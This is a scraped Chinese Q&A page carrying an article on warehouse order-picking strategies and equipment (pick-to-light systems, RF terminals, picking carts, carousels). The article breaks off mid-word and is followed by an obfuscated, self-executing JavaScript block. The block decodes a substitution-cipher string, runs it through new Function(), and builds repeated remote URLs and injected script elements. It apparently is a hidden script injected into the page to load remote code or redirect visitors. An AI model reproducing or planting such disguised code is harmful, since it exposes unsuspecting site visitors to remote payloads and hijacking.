推荐回答(2个)
流的发展已有多年的历史,以往企业于物流上并无成本管理的意识,现在它却成为企业流程合理化的最后一道关卡,而在经营战略上更是降低成本的重要关键性因素,视其为企业之第三利润来源。近年来又因随着网际网络、电子商务的冲击,例如美国最大的网络零售书店 - 亚马逊(Amazon)网络收店的兴起,其不仅带 起一股电子商务的热潮,更带起企业对物流机制的重视,因此物流已俨然成为一项热门的技术与话题。举凡与人们平日生活息息相关之行业,诸如便利超市通路业、3C 产业、电子商务B2C企业、连锁出版业、直销业、货运业…等,莫不致力于物流系统的投资与改善,目的即是要满足现代社会多样少量的需求型态,快速且即时的送货至客户手中,以提高客户的服务满意度。
以企业财务之观点来看,物流作业的成本来自于运输、搬运、仓储、拣货等各种不同的作业成本,而根据统计,一件商品最后售价的30% 是来自于物流的成本费用。而从物流的成本结构分析得知,其中拣货成本约占了40%,此外拣货作业之直接相关人力的投入,亦约占了整个物流中心投入人力的50%左右;而在整体物流中心的作业时间当中,花在拣货的时间亦占了大约30%~40%。由此观之,不论从成本、人力,或者是时间的角度来分析,都显示了拣货作业的重要性。拣货的目的不外乎是要在有限的时间内迅速、正确的集结客户的订购内容,以缩短客户从下单到收取货品的周期时间,同时能降低其相关的作业成本。因此物流中心如何规划及导入一套适当的拣货系统与设备,并作好合理的拣货作业管理,是一个相当值得研究的课题。
一、 拣货作业的策略与方法
拣货作业的策略与方法,一般可分为订单拣货(Order Picking ,By Order)、批次拣货(Batch Picking ,By Item),或者两者的混合运用。此外尚需搭配订单的分割、订单的批次汇整及订单的合流等策略的运用,方可将整体的拣货作业效率做适当的发挥。
二、 拣货作业之相关方法与设备
根据物流中心的类型及采用之拣货策略大致可归纳出以下之拣货方法,但这些作法是属较为普遍的一般性应用,并非是绝对性的应用:
1. 依拣货策略特性来区分,订单别的拣货策略,可采用摘取式的拣货作业模式。而批次别的拣货策略,则可采用播种式的拣货作业模式,而其中播种式又可分为先整批次拣货完成后,再行播种分类,或者是即摘即播两种。「即摘即播」顾名思义是当进行整批次的品项摘取时,一并进行该品项的客户需求分类作业。
2. 而若依所采用的拣货设备特性来区分,则可分为下列三种:
a. 人工拣货:完全采用人工方式,不藉由其它自动化设备的辅助。例如传统的看单拣货、贴标拣货…等。
b. 半自动化:此种设备需藉由人力的辅助操作,以达拣货作业的进行。此外依照人与设备间的互动关系,又可区分为下列两种:
(1) 人就物:物品放置固定不动,拣货人员需至物品放置处将物品拣出的作业方式。例如:电子标签辅助 拣货系统、拣货台车、掌上型终端机拣货…等。
(2) 物就人:此种设备的作业方式与人就物相反,拣货时作业者只需停驻在固定位置,等待拣货设备将欲拣取之物品运至面前的作业方式。例如:水平式或垂直式旋转料架、自动仓储..等。
3. 全自动化:由拣货设备的机械自动负责,无需人力的介入即可完成拣货作业。例如:自动分类机、A型自动拣货机、自动拣货流利架、拣货机器人…等。
以下根据上述的分类方法,简略的介绍各项相关拣货设备及其应用方法,然本文只单纯介绍与拣货作业有关的相关设备,至于与拣货亦息息相关的储存设备,如各式各样的静态储存货架,或者是搬运设备,如堆高机、牵引车、输送带..等,并不在本文的探讨范围内。
1. 人工拣货方法
a. 拣货单据:拣货单/出货单(Picking List / Shipping List)
此种拣货方式是为最传统的拣货方法,拣货人员依据信息管理系统所打印出的拣货单或出货单,一次拣取一张或多张订单,自由地行走于货架间进行订购货品的拣取。拣货人员必须凭借着对拣区储位熟悉的记忆,并按单据上的数据进行作业。而其中都可因人员对于拣货资料的误读,不论是品项或数量,而使拣货的 正确率降低,特别是随着人员作业时间的加长。
此传统的拣货方法可能较适用于每日订单数不多,或者每张订单的订购品项数不多,或者是所谓的少样多量的出货型态上。此外,在拣货单的设计上亦尽量以能让拣货人员易于辨识为原则。
b. 贴标拣货
此种拣货作业是于拣货前先针对订单的订购品项按需求数量印出等量的标签,亦即一件或一箱货品即印出一张标签,一张客户订单的标签数即等于该张订单的总拣货件数。此外标签上已载明相关的拣货讯息与客户信息,拣货人员以此取代拣货单以进行拣货,拣取一件货品即以一张相对应的标签贴上,一方面可以标签上的信息与拣取的货品作比对确认,另一方面当该订单的标签全数黏贴完毕,即表示完成该订单的拣货作业,而该订单于总件数的正确性则可依此作某一程度的精确控管。然此种拣货作业较适用于拣货单位为 箱的出货型态。
2. 半自动化 - 人就物拣货设备
a. 电子标签辅助拣货系统
在欧美一般称为PTL(Pick-to-light or Put-to-light) System ,在日本称之为CAPS(Computer Aided Picking System) 或者DPS (Digital Picking System) 。其主要是由主控计算机来控制一组安装在货架储位上的电子装置,藉由灯号与显示板上数字的显示,以引导拣货人员正确、快速的拣取货品。
电子标签若依硬件设计与应用之不同,可分为标准型与经济型两种。
(1) 标准型:在标签的面板设计上,除了灯号与按键外,尚有一可显示数量的LED 显示设计。而按键亦有双键式(确认键与缺货键)及三键式(确认键与可调整数量的上、下键)两种。一般标准型的电子标签较常用于出货频率高的商品储位,采用一对一方式,亦即一个电子标签只对应一个拣储位。但亦有应用于出货频率低的商品,采一对多方式,亦即一个电子标签只对应多个拣储位,而于拣货时LED上除了数量显示外,另有应拣储位代号的辅助显示。由于一对多的作业方式尚需拣货者的判断,可能会提高拣货的错误率,因此较适用于B , C级的商品。
(2) 经济型:与标准型的差别在于其只有灯号与按键的设计,无法显示应拣数量,因此硬件成本较低。而在拣货应用上则是数个经济型标签共同对应一个标准型标签,由标准型标签作为数量显示器。由于硬件成本较为低廉,且是采用一对一的方式运作,因此对于出货频率低的商品,亦可采用此项设备 ,以降低投资成本。而电子标签在拣货系统上之应用,依拣货作业方法之不同可分为摘取式(Pick-to-light) 与播种式(Put-to-light)两种。
(1) 摘取式:货架上安装的标签所对应的是商品,拣货人员依标签的指示,自货架上将商品取下。其在应用类型上有下列几种:
(a) 一人一单摘取:亦即一个拣货人员一次负责拣取一张订单,大部份拣货区采用重量棚式的储存货架,若安装电子标签,即是采取此种拣货方式。
(b) 接力式摘取:一个拣货人员只负责某一部份拣区的标签,当订单进入其负责区域,拣货员只针对其负责区域下,有点亮标签的品项拣货,当拣货完成则将该订单之拣货箱转传至下一个相邻区域的负责人继续该订单的拣货,而其则可进行下一张订单的拣货作业。因此一张订单在其拣货周期中是被不同拣货者接力来完成的。一般大部份拣货区采用流利架式的储存货架,若安装电子标签,即采取此种拣货方式。
(2) 播种式:货架上安装的的标签所对应的是客户,拣货人员将批次汇总后之商品,依标签的指示,并分配至订购客户。其在应用类型上有下列几种:
(a) 接力播种:其整体之作业方法与接力式摘取相同,作业员只针对其负责区域下,有点亮标签的客户进行商品的分类作业,而一种商品则是在不同的作业者接力下来完成的。
(b) 通道播种:此种作业是将整个播种区域划分为数个信道,各个信道间是独立作业,彼此间不互相影响,而一个通道所函盖的客户即自成为一个批次。在理论上,一个通道完成所有品项之播种分类后,该通道则可继续另一批次不同客户的播种分类。
b. 非实时型(Off Line) 掌上型终端机(Handy terminal )
掌上型终端机又可称为数据收集器(Data Collector),主要是利用轻薄短小的设备在作业现场依终端机的作业指示,来进行各项作业。一般掌上型终端机较常应用在仓储管理方面,例如进货验收、库存盘点、出货检核…等,或者应用在制造业生产在线的数据收集。
其其在拣货作业上的应用,不论采用的是订单拣货或批次拣货,拣货人员只要遵守终端机上的拣货储位指示,至指定地点拣取应拣货商品,并可搭配掌上型终端机内附的条形码扫瞄器,作进一步的应拣商品确认,使得拣货正确率比传统的看单拣货更为提升,除此之外,拣货的动线亦根据订单的订购内容,作过适当的规划安排,并反应在指示上。
掌上型终端机一般于作业前,需先至计算机下载拣货数据,待拣货完成后,再至计算机处将拣货结果上传至计算机。在拣货作业过程中终端机是不与计算机直接联机,亦即拣货的讯息不会实时回传至后台作业管理系统,因此其较适用于不需实时反应拣货讯息或者库存信息的作业上。
c. RF Terminal Picking / On Line
这是另一种掌上型终端机,与前述之差别在于其利用无线电电通讯技术,让终端机本身能与后台的计算机系统,于作业过程中一直维持着联机状态,让彼此间的数据能做实时性的传输。
一般RF终端机亦常应用在仓储管理方面,例如进货验收、库存盘点、实时性的补货、储位的调整…等。而其在拣货作业上的应用与上述非实时型掌上终端机相同,好处在于其能实时的反应订单的拣货状态,或者实时反应拣位上的库存状况,让补货作业更为实时,降低因补货不及致使拣货作业之延迟。
d. 拣货台车(Picking Cart)
此设备是在拣货台车上装设一部控制计算机以及数个电子标签,而每个标签分别代表一张客户订单。一般而言,拣货台车较适用在批次拣货的策略上,利用即摘即播的作业模式,一次拣取多张订单,以提升整体作业效率。
台车上的控制计算机会先将批次拣货数据作一最佳路径计算,并藉由拣货讯息的显示,来导引拣货人员进行批次汇总的商品拣货作业,而于拣取某品项总量后,其会控制电子标签以显示该品项正确的分类信息,以 达即摘即播作业。
拣货台车与电子标签式
由于拣货台车上的存放空间有限,因此较适用于产品体积小,且出货频率不高的B、C 级产品,例如CD、医药、化妆品、电子零件…等。此外,其亦可搭配无线网络卡,使控制计算机能于拣货过程中,实时的与后台管理系统联机,立即的反应当下之拣货情况,包含缺货或者是产品库存数量数据立即反应。
3. 半自动化 - 物就人拣货设备
a. 垂直式旋转料架(Vertical Carousel)
垂直式旋转料架与立体停车场的作业原理相似,藉由控制器控制一组顺时钟或逆时钟旋转的货架,呈垂直面的旋转。通常整座设备的建置是往立体空间来发展,在既定的平面空间下,以增加储位数,并减少对平面空间需求,且整个设备几近密闭式的设计,只留一个出入口,拣货者即利用此出入口将货品拣出或者补入。一般而言,此种设备对于商品的保护性甚佳。
当拣货员欲拣取商品或进行补货时,只要将商品数据输入计算机,系统即会自动安排储位并将之送至出入口,以供人员作业。但通常出入口位置所看到的储位不止一个,而是一排储位,因此尚需计算机的指示辅助,方可作正确的存取。因此,本设备可于出入口处搭配电子显示装置,例如电子标签,使得货品到达出入口时,藉由电子设备的指示辅助,使拣货者能正确得知何者为欲拣货储位,以提高拣货的正确性。
垂直式旋转料架示意图
b. 水平式旋转料架(Horizontal Carousel)
水平式旋转料架与前述的垂直式旋转料架在运作原理与应用上极为相似,不同的是水平式旋转料架所利用的是平面空间。此外,此项设备大都不采取密闭式设计,补货不一定只从固定位置进行,可从侧面进行。
水平式旋转料架与垂直式旋转料架相同,为了增加拣货的正确行性,可于正面出口处装设搭配电子显示装置,例如电子标签,称之为Light Tree,当料架转至定位后,藉由Light Tree 上的标签显示辅助,使拣货者能正确拣取应拣品项。
水平式旋转料架与Light Tre
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();